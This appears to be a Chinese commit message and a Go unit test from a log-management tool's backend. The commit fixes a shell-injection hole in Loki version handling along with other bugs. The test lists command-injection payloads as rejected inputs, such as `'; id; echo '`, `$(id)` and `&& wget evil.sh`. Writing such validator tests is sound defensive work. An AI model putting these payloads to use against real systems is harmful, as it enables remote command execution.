后端(实机 10.10.10.161 验证 host-binary 全链路 + 注入双路径 400): - Loki 版本号严格 ^\d+.\d+.\d+$ 校验并接入 Update 路径:version 拼进 SSH shell 命令, 旧校验放行 3.0.0'; id; echo ' 等注入载荷(root RCE) - Stop/Restart 清理清单移除 PVC:停止部署曾连带删除 loki-data PVC,filesystem 存储日志被永久清空(测试锁死红线) - 采集敏感路径防护覆盖默认 LogPath 分支与 collector Create(/etc/shadow 不再可绕过入库) - 数据文件损坏时原文件改名 .corrupt-* 留档再空库启动,不再被静默覆盖(loadFromDisk 抽出可测) 前端: - 审计页用户名过滤 300ms 防抖 + AbortController/版本号(逐键竞态数据错乱) - 向导自动部署改用创建返回实例(或 id 最大且 pending),不再盲取 list[0] 对错误实例发起真实部署 - 路由级 ErrorBoundary:单页崩溃/chunk 404 只影响当前页
33 lines
851 B
Go
33 lines
851 B
Go
package services
|
|
|
|
import "testing"
|
|
|
|
// TestValidateLokiVersionRejectsShellMetacharacters 版本号会拼进主机 shell 命令(下载 URL 等),
|
|
// 必须只放行纯数字三段式,杜绝命令注入。
|
|
func TestValidateLokiVersionRejectsShellMetacharacters(t *testing.T) {
|
|
bad := []string{
|
|
`3.0.0'; id; echo '`,
|
|
`2.8.9$(id)`,
|
|
`3.0.0;id`,
|
|
`3.0.0 && wget evil.sh`,
|
|
"3.0.0\nid",
|
|
"3.0.0`id`",
|
|
`v3.0.0`,
|
|
`3.0`,
|
|
`3.0.0-beta`,
|
|
`3..0`,
|
|
` 3.0.0`,
|
|
}
|
|
for _, version := range bad {
|
|
if err := ValidateLokiVersion(version); err == nil {
|
|
t.Errorf("ValidateLokiVersion(%q) 应被拒绝(shell 注入面)", version)
|
|
}
|
|
}
|
|
good := []string{"", "2.8.9", "3.0.0", "3.4.0"}
|
|
for _, version := range good {
|
|
if err := ValidateLokiVersion(version); err != nil {
|
|
t.Errorf("ValidateLokiVersion(%q) 不应报错: %v", version, err)
|
|
}
|
|
}
|
|
}
|